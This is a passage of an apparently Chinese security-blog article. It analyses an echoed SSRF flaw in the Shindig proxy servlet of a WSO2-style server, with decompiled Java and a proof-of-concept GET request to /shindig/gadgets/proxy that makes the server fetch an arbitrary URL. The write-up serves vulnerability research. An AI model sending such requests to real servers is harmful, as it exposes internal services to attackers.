src="https://wechat2rss.xlab.app/img-proxy/?k=7487ac06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNLJ1g1DqQcqicVhCrNH1ZibjqXZdCXvaKgd1PhyLhna8dW8nzNTQYMo0g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">我们可以在文件 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">conf/shindig/web.xml 找到对应的调用方法</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=d0076145&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNsXL7RR0dfIh8FWOnNc0qiccKtNmLBAyUeYHrj3UicOicOfEPKSjibfmVibw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">看到这我们注意到 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.shindig.gadgets.servlet.MakeRequestServlet</code> 似乎与  Jira未授权SSRF漏洞(CVE-2019-8451) 中存在的漏洞点十分的相似</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="231" data-backw="457" data-ratio="0.5043156596794082" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3244" src="https://wechat2rss.xlab.app/img-proxy/?k=c4d125a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNEYDlFibiajaB16WMuhnaIPxKrpiaNcs9Fxw1reU7vcF5shnPSlzncBb8w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">但断点调试过程中，却发现这个点是利用失败的</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=00f02cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNgjBeWeHqYECOh3uYdUWq2ZYTJITPqMAHnq8Xyr4YX1mnQ0UnezQjcA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="200" data-backw="457" data-ratio="0.4358589647411853" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2666" src="https://wechat2rss.xlab.app/img-proxy/?k=86cbec69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNcavRo0TJ66mW75u3XOnZkVjHylhSlWkXNxfLH9AzdeN4eCBr2ojNLg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">只好去看一下其他的Servele , 最后我们注意到 ProxyServlet</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="457" data-ratio="0.5838454784899034" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2278" src="https://wechat2rss.xlab.app/img-proxy/?k=17c29a64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNqHmrmAg8UVKQN2ia4HJGtCe6GNVZQbrFIs9tfRSxBFz6atqsp7rt0gw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">发送请求包，打断点看一下处理流程</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo7URVqziaiauIwQqRmoGphMllP6X8cvqJ3gTlbLb0cCtoianHvGA8xyjobYXgWkjSfYdmRtm0S8ic9wp/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">GET /shindig/gadgets/proxy?container=<span style="color: #a626a4;line-height: 26px;">default</span>&amp;url=https:<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//www.baidu.com HTTP/1.1</span><br/>Host: localhost:<span style="color: #986801;line-height: 26px;">9443</span><br/>Accept: text/html,application/xhtml+xml,application/xml;q=<span style="color: #986801;line-height: 26px;">0.9</span>,image/avif,image/webp,image/apng,*<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br/>Accept-Encoding: gzip, deflate, br<br/>Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6<br/>Content-Length: 0<br/>Sec-Ch-Ua: &#34; Not A;Brand&#34;;v=&#34;99&#34;, &#34;Chromium&#34;;v=&#34;100&#34;, &#34;Google Chrome&#34;;v=&#34;100&#34;<br/>Sec-Ch-Ua-Mobile: ?0<br/>Sec-Ch-Ua-Platform: &#34;macOS&#34;<br/>Sec-Fetch-Dest: document<br/>Sec-Fetch-Mode: navigate<br/>Sec-Fetch-Site: cross-site<br/>Upgrade-Insecure-Requests: 1<br/>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36<br/></span></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">通过 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.shindig.gadgets.servlet.ProxyServlet</code> 下的 doGet方法接收参数， 传入 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">processRequest</code><span style="letter-spacing: 0.2em;word-spacing: 0.1em;"></span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo7URVqziaiauIwQqRmoGphMllP6X8cvqJ3gTlbLb0cCtoianHvGA8xyjobYXgWkjSfYdmRtm0S8ic9wp/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">private</span> <span style="color: #a626a4;line-height: 26px;">void</span> <span style="color: #4078f2;line-height: 26px;">processRequest</span><span style="line-height: 26px;">(HttpServletRequest request, HttpServletResponse servletResponse)</span> <span style="color: #a626a4;line-height: 26px;">throws</span> IOException </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> (request.getHeader(<span style="color: #50a14f;line-height: 26px;">&#34;If-Modified-Since&#34;</span>) != <span style="color: #a626a4;line-height: 26px;">null</span>) {<br/>            servletResponse.setStatus(<span style="color: #986801;line-height: 26px;">304</span>);<br/>        } <span style="color: #a626a4;line-height: 26px;">else</span> {<br/>            Uri reqUri = (<span style="color: #a626a4;line-height: 26px;">new</span> UriBuilder(request)).toUri();<br/>            HttpResponse response;<br/>            <span style="color: #a626a4;line-height: 26px;">try</span> {<br/>                ProxyUri proxyUri = <span style="color: #a626a4;line-height: 26px;">this</span>.proxyUriManager.process(reqUri);<br/>                SecurityToken st = AuthInfoUtil.getSecurityTokenFromRequest(request);<br/>                proxyUri.setSecurityToken(st);<br/>                proxyUri.setUserAgent(request.getHeader(<span style="color: #50a14f;line-height: 26px;">&#34;User-Agent&#34;</span>));<br/>                <span style="color: #a626a4;line-height: 26px;">if</span> (proxyUri.getGadget() == <span style="color: #a626a4;line-height: 26px;">null</span> &amp;&amp; st != <span style="color: #a626a4;line-height: 26px;">null</span> &amp;&amp; !st.isAnonymous()) {<br/>                    proxyUri.setGadget(st.getAppUrl());<br/>                }<br/>                AuthType authType = proxyUri.getAuthType();<br/>                <span style="color: #a626a4;line-height: 26px;">if</span> (AuthType.OAUTH.equals(authType)) {<br/>                    proxyUri.setOAuthArguments(<span style="color: #a626a4;line-height: 26px;">new</span> OAuthArguments(AuthType.OAUTH, request));<br/>                } <span style="color: #a626a4;line-height: 26px;">else</span> <span style="color: #a626a4;line-height: 26px;">if</span> (AuthType.OAUTH2.equals(authType)) {<br/>                    proxyUri.setOAuth2Arguments(<span style="color: #a626a4;line-height: 26px;">new</span> OAuth2Arguments(request));<br/>                }<br/>                String host = request.getHeader(<span style="color: #50a14f;line-height: 26px;">&#34;Host&#34;</span>);<br/>                <span style="color: #a626a4;line-height: 26px;">if</span> (!<span style="color: #a626a4;line-height: 26px;">this</span>.lockedDomainService.isSafeForOpenProxy(host)) {<br/>                    Uri resourceUri = proxyUri.getResource();<br/>                    String msg = <span style="color: #50a14f;line-height: 26px;">&#34;Embed request for url &#34;</span> + (resourceUri != <span style="color: #a626a4;line-height: 26px;">null</span> ? resourceUri.toString() : <span style="color: #50a14f;line-height: 26px;">&#34;n/a&#34;</span>) + <span style="color: #50a14f;line-height: 26px;">&#34; made to wrong domain &#34;</span> + host;<br/>                    <span style="color: #a626a4;line-height: 26px;">if</span> (LOG.isLoggable(Level.INFO)) {<br/>                        LOG.logp(Level.INFO, classname, <span style="color: #50a14f;line-height: 26px;">&#34;processRequest&#34;</span>, <span style="color: #50a14f;line-height: 26px;">&#34;embededImgWrongDomain&#34;</span>, <span style="color: #a626a4;line-height: 26px;">new</span> Object[]{resourceUri != <span style="color: #a626a4;line-height: 26px;">null</span> ? resourceUri.toString() : <span style="color: #50a14f;line-height: 26px;">&#34;n/a&#34;</span>, host});<br/>                    }<br/>                    <span style="color: #a626a4;line-height: 26px;">throw</span> <span style="color: #a626a4;line-height: 26px;">new</span> GadgetException(Code.INVALID_PARAMETER, msg, <span style="color: #986801;line-height: 26px;">400</span>);<br/>                }<br/>                <span style="color: #a626a4;line-height: 26px;">if</span> (<span style="color: #50a14f;line-height: 26px;">&#34;POST&#34;</span>.equalsIgnoreCase(request.getMethod())) {<br/>                    StringBuffer buffer = <span style="color: #a626a4;line-height: 26px;">this</span>.getPOSTContent(request);<br/>                    response = <span style="color: #a626a4;line-height: 26px;">this</span>.proxyHandler.fetch(proxyUri, buffer.toString());<br/>                } <span style="color: #a626a4;line-height: 26px;">else</span> {<br/>                    response = <span style="color: #a626a4;line-height: 26px;">this</span>.proxyHandler.fetch(proxyUri);<br/>                }<br/>            } <span style="color: #a626a4;line-height: 26px;">catch</span> (GadgetException var11) {<br/>                response = ServletUtil.errorResponse(<span style="color: #a626a4;line-height: 26px;">new</span> GadgetException(var11.getCode(), var11.getMessage(), <span style="color: #986801;line-height: 26px;">400</span>));<br/>            }<br/>            ServletUtil.copyToServletResponseAndOverrideCacheHeaders(response, servletResponse);<br/>        }<br/>    }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">向下跟进到<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.shindig.gadgets.servlet.ProxyHandler</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=0c324b90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNzzlFZK5rVGNPTJlTVtBZpxlQMeVLfslN1tz3qWrPvKib8vaWR45fSjQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.shindig.gadgets.servlet.ProxyHandler.fatch</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=960e022e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNGBcSp0Ssic1F06qtIsSWo3CxSxJva0xnN2XVxtEqm2hQzp8V84EHmXQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">接着向下看到 org.apache.shindig.gadgets.servlet.ProxyHandler 下的 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">buildHttpRequest</code> 方法创建Http请求， 而目标就是我们刚刚传入的Url参数</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo7URVqziaiauIwQqRmoGphMllP6X8cvqJ3gTlbLb0cCtoianHvGA8xyjobYXgWkjSfYdmRtm0S8ic9wp/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"> <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">private</span> HttpRequest <span style="color: #4078f2;line-height: 26px;">buildHttpRequest</span><span style="line-height: 26px;">(ProxyUri uriCtx, Uri tgt, @Nullable String postBody)</span> <span style="color: #a626a4;line-height: 26px;">throws</span> GadgetException, IOException </span>{<br/>        ServletUtil.validateUrl(tgt);<br/>        HttpRequest req = uriCtx.makeHttpRequest(tgt);<br/>        req.setRewriteMimeType(uriCtx.getRewriteMimeType());<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> (postBody != <span style="color: #a626a4;line-height: 26px;">null</span>) {<br/>            req.setMethod(<span style="color: #50a14f;line-height: 26px;">&#34;POST&#34;</span>);<br/>            req.setPostBody(<span style="color: #a626a4;line-height: 26px;">new</span> ByteArrayInputStream(postBody.getBytes()));<br/>        }<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> (req.getHeader(<span style="color: #50a14f;line-height: 26px;">&#34;User-Agent&#34;</span>) == <span style="color: #a626a4;line-height: 26px;">null</span>) {<br/>            String userAgent = uriCtx.getUserAgent();<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> (userAgent != <span style="color: #a626a4;line-height: 26px;">null</span>) {<br/>                req.setHeader(<span style="color: #50a14f;line-height: 26px;">&#34;User-Agent&#34;</span>, userAgent);<br/>            }<br/>        }<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> req;<br/>    }<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=faf85020&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlN9Ykd1DgaxlwYIQnSk7t2jd2ZNVjx0ykUF7fvg30cXHYzUKiaEh3X85A%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=5a8c8cfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNNhLgFjx13ezia0TQug7pp7wic0ZrJibzP4iaHeicLpHM7vibUZoddMl8SZOA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">最后回显至页面中, 造成存在回显的SSRF</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="457" data-ratio="0.625" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=24502e9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNoNe0y5FoYBAlLdqzCNWOBJFWrfRastE8ReR1ECHvgNq77R3BwTCaFQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="262" data-backw="457" data-ratio="0.5717722534081796" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2494" src="https://wechat2rss.xlab.app/img-proxy/?k=6632181d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el42MfHwAqvykY6uOI6L9xlNiansaHCIWBFbR1T7DsAh2nl82TLRqGKOvtYdtYk3NmUWU4Bx3TYP54w%2F640%3Fwx_fmt%3Dpng"/></figure></section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0"></mpprofile></section><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0"></mpprofile></section><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=8a077860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTcMBicTAqaLJky9ScIO4Rq2AI7GbNL471D07npjsanAH2s4iaZGM5L1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">在线文库: <a href="http://wiki.peiqi.tech" target="_blank">http://wiki.peiqi.tech</a><br/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5443322109988776" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3564" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9734f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTz2mGLTWwwLW7B9Mib5XibKCWricFR6KaodRqLHwia5uPJgyxoQt4zT6e0g%2F640%3Fwx_fmt%3Dpng"/></figure></section>



<p><a href="http://wiki.peiqi.tech">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0b4ba32b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247492787%26idx%3D1%26sn%3D188f27b204c2a8e3c2b7cfc9cd998524%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 26 Apr 2022 15:45:00 +0800</pubDate>
    </item>
    <item>
      <title>WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247492764&amp;idx=1&amp;sn=997be5ac6084005b7cbcd7e390a2d005</link>
      <description>WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464</description>
      <content:encoded><![CDATA[<p>
